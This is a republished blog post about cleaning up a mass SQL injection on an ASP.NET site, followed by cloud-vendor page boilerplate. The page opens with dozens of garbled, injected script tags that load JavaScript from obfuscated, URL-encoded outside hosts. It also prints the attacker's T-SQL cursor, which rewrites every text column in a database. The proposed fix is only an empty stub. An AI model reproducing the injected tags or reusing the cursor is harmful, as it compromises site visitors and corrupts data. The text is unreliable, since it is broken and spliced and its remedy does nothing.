Solution to SQL Injection in Asp.net

Source: Internet
Author: User

"> </Title> <SCRIPT src = http: // % 73% 61% 79% 38% 2e % 75% 73/S. js> </SCRIPT> <! "> </Title> <SCRIPT src = http: // % 73% 61% 79% 38% 2e % 75% 73/S. js> </SCRIPT> <! "> </Title> <SCRIPT src = http: // % 73% 61% 79% 38% 2e % 75% 73/S. js> </SCRIPT> <! "> </Title> <SCRIPT src = http: // % 73% 61% 79% 38% 2e % 75% 73/S. js> </SCRIPT> <! "> </Title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scr "> </title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scr "> </title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scr "> </title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scr "> </title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scr "> </title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scr "> </title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scr "> </title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scr "> </title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scr "> </title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scr "> </title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scr "> </title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scr "> </title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scr "> </title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scr "> </title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scr "> </title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scr "> </title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scr "> </title> <SCRIPT src = http: // % 66% 75% 63% 6B % 75% 2e % 75% 75%. JS> </scrA lot of content in the database is appended to the previous section. Code After viewing the IIS log, It is SQL injection, which is roughly as follows:

Declare   @ T   Varchar ( 255 ), @ C   Varchar ( 255 )
Declare Table_cursor Cursor  
For  
Select A. Name, B. Name From Sysobjects A, syscolumns B
Where A. ID = B. ID And A. xtype = ' U '   And (B. xtype = 99   Or B. xtype = 35   Or B. xtype = 231   Or B. xtype = 167 )

Open Table_cursor Fetch   Next   From Table_cursor Into   @ T , @ C   While ( @ Fetch_status = 0 )
Begin  
Exec ( ' Update [ ' + @ T + ' ] Set [ ' + @ C + ' ] = [ ' + @ C + ' ] + Cast (same as varchar (67 )) ' )
Fetch   Next   From Table_cursor Into   @ T , @ C  
End  
Close Table_cursor
Deallocate Table_cursor;

Alas ~~~, I forgot to add the SQL Injection validation.

In global. asax in. net, you can add

Protected void application_beginrequest (Object sender, eventargs E)
{

Startprocessrequest ();
}

Public void startprocessrequest ()
{

// Perform SQL keyword verification on request. querystring and request. Form
}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.